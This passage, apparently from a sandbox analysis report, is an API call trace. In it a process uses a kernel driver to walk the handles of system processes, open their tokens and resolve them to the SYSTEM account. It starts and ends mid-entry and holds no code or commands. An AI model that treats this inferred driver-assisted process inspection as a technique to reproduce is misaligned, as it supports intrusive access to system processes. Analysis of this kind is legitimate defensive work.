PsAcquireProcessExitSynchronization () returned 0x0 [0135.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.431] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800325cf20, HandleInformation=0x0) returned 0x0 [0135.431] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.431] PsReleaseProcessExitSynchronization () returned 0x2 [0135.431] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.431] ObQueryNameString (in: Object=0xfffffa800325cf20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.431] ObfDereferenceObject (Object=0xfffffa800325cf20) returned 0x2 [0135.431] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.431] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.431] PsAcquireProcessExitSynchronization () returned 0x0 [0135.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.431] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001eeaf20, HandleInformation=0x0) returned 0x0 [0135.431] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.431] PsReleaseProcessExitSynchronization () returned 0x2 [0135.432] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.432] ObQueryNameString (in: Object=0xfffffa8001eeaf20, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.432] ObfDereferenceObject (Object=0xfffffa8001eeaf20) returned 0x2 [0135.432] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.432] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.432] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0135.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0135.432] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0135.432] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a28) returned 0x0 [0135.432] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0135.432] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a28, DesiredAccess=0x8, TokenHandle=0xfffffa8002816180 | out: TokenHandle=0xfffffa8002816180*=0xc8) returned 0x0 [0135.432] ZwClose (Handle=0xffffffff80000a28) returned 0x0 [0135.432] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.432] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0135.432] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0135.434] CloseHandle (hObject=0xc8) returned 1 [0135.434] CloseHandle (hObject=0xc0) returned 1 [0135.434] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0135.434] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.434] PsAcquireProcessExitSynchronization () returned 0x0 [0135.434] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.517] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0135.517] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.517] PsReleaseProcessExitSynchronization () returned 0x2 [0135.517] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.517] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0135.517] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.517] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.517] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0135.517] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.517] PsAcquireProcessExitSynchronization () returned 0x0 [0135.517] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.552] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0135.552] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.552] PsReleaseProcessExitSynchronization () returned 0x2 [0135.552] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.552] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.553] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0135.553] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.553] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.553] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0135.553] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.553] PsAcquireProcessExitSynchronization () returned 0x0 [0135.553] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.617] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0135.619] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.619] PsReleaseProcessExitSynchronization () returned 0x2 [0135.619] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.619] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.619] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0135.619] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.619] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.619] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.621] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0135.621] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.621] PsAcquireProcessExitSynchronization () returned 0x0 [0135.621] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.668] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0135.668] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.668] PsReleaseProcessExitSynchronization () returned 0x2 [0135.668] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.668] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.668] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0135.668] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.668] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.668] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0135.668] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.668] PsAcquireProcessExitSynchronization () returned 0x0 [0135.668] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.762] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0135.762] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.762] PsReleaseProcessExitSynchronization () returned 0x2 [0135.762] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.762] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.762] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0135.762] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.762] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0135.762] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.762] PsAcquireProcessExitSynchronization () returned 0x0 [0135.762] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.816] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0135.816] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.816] PsReleaseProcessExitSynchronization () returned 0x2 [0135.816] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.816] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.816] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0135.816] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.816] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.816] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0135.816] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.816] PsAcquireProcessExitSynchronization () returned 0x0 [0135.816] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.923] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0135.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.923] PsReleaseProcessExitSynchronization () returned 0x2 [0135.923] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.923] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.923] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0135.923] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0135.924] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.924] PsAcquireProcessExitSynchronization () returned 0x0 [0135.924] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0135.966] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0135.967] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.967] PsReleaseProcessExitSynchronization () returned 0x2 [0135.967] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0135.967] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.967] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0135.967] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.967] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.967] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0135.967] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.967] PsAcquireProcessExitSynchronization () returned 0x0 [0135.967] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0136.039] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0136.039] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.039] PsReleaseProcessExitSynchronization () returned 0x2 [0136.039] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0136.039] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.039] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0136.039] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.039] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.039] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.039] PsAcquireProcessExitSynchronization () returned 0x0 [0136.039] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054735d0) [0136.057] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0136.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.057] PsReleaseProcessExitSynchronization () returned 0x2 [0136.057] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0136.057] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.057] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0136.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.057] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0136.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.057] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0136.057] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.057] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x84 [0136.057] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021612c0 | out: TokenHandle=0xfffffa80021612c0*=0xc8) returned 0x0 [0136.057] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.057] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.057] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.059] CloseHandle (hObject=0xc8) returned 1 [0136.059] CloseHandle (hObject=0xc0) returned 1 [0136.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.059] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.059] PsAcquireProcessExitSynchronization () returned 0x0 [0136.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.059] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0136.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.059] PsReleaseProcessExitSynchronization () returned 0x2 [0136.059] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.059] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.059] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0136.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 